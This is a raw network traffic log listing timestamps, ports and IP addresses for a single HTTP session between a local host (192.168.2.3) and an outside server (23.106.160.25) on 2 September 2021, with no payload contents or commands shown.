Sep 2, 2021 05:59:47.642904043 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642914057 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642934084 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642946005 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642963886 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642981052 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642995119 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.643003941 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.643023014 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.643043041 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.643053055 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.643081903 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.643106937 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.814310074 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.814349890 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.814380884 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.814403057 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.814429045 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.814450026 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.814541101 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.814584970 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.814927101 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815028906 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.815067053 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815089941 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815109968 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815170050 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.815177917 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.815201044 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815227985 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815275908 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.815335989 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815372944 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815395117 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815416098 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815437078 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815459967 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815481901 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815501928 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815651894 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.815720081 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815742970 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815762997 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815784931 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815828085 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.815860033 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.815867901 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815898895 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815920115 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.815999985 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.816008091 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.816028118 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816054106 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816077948 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816098928 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816139936 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.816170931 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.816185951 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816215038 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816237926 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816257954 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816293001 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.816328049 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.816343069 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816371918 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816452026 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.816457987 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.816540003 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816592932 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816631079 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816668987 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816706896 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816756964 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816804886 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816848040 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816889048 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816926956 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.816966057 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817004919 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817044020 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817091942 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817135096 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817173004 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817214012 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817254066 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817291975 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817332029 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817372084 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817420006 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817452908 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817491055 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817531109 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817569971 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817606926 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817640066 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817677975 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817718983 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817758083 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817791939 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.817795038 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817835093 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817867041 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.817873955 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817924023 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817940950 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.817950010 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.817967892 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.817974091 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818007946 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818022013 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818047047 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818049908 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818087101 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818101883 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818134069 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818197966 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818262100 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818319082 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818370104 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818425894 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818480968 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818481922 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818495035 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818497896 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818500042 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818536043 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818542957 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818593025 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818602085 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818659067 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818665028 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818717957 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818787098 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818847895 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818872929 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818885088 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818888903 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818907976 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.818912029 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818964958 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.818965912 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819014072 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819021940 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819072008 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819077969 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819132090 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819169998 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819221973 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819236040 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819269896 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819283009 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819339991 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819344044 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819385052 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819392920 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819443941 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819446087 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819493055 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819504023 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819551945 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819557905 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819607019 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819614887 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819659948 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819670916 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819722891 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819730997 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819778919 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819786072 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819833040 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819842100 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819888115 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819894075 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819943905 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.819947958 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.819994926 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820000887 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820040941 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820048094 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820089102 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820096016 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820143938 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820157051 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820208073 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820214033 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820262909 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820267916 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820324898 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820326090 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820382118 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820382118 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820432901 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820437908 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820489883 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820494890 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820538044 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820544958 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820599079 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820605993 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820661068 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820661068 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820714951 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820715904 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820765018 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820771933 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820823908 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820827961 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820874929 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820883036 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820935011 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820939064 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.820986032 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.820991039 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821043968 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821078062 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821130991 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821132898 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821177959 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821187973 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821238041 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821240902 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821289062 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821297884 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821358919 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821371078 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821408987 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821415901 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821463108 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821470022 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821525097 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821532965 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821590900 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821652889 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821660042 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821671963 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821705103 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821708918 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821763992 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821767092 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821825027 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821825027 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821887970 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821922064 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.821940899 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.821969032 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.822005987 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.822029114 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.822057009 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.822062969 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.822114944 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.822138071 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.822169065 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.822173119 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.822227955 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.822253942 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.822280884 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.822283983 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.822335958 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.822361946 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.822386026 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.822388887 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.822448015 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.822448969 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.822500944 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.822509050 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.822563887 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.822587013 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.822618008 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.822618961 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.822669983 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.986697912 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.986778021 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.986834049 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.986884117 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.986938953 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.986967087 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.987070084 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.987212896 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.987262011 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.987303972 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.987354040 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.987369061 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.987409115 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.987428904 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.987453938 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.987476110 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.987502098 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.987507105 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.987561941 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.995202065 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995285988 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995359898 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995403051 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.995418072 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995449066 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.995471001 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995492935 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.995524883 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995528936 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.995579004 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995620012 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.995630980 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995670080 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.995692968 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995707035 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.995748043 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995771885 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.995803118 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995807886 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.995857954 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995868921 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.995910883 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995929956 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.995963097 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.995984077 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996017933 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996033907 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996068001 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996125937 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996144056 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996180058 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996232033 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996251106 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996290922 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996349096 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996357918 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996407986 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996412992 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996465921 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996469975 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996520996 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996537924 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996586084 CEST	80	49707	23.106.160.25	192.168.2.3
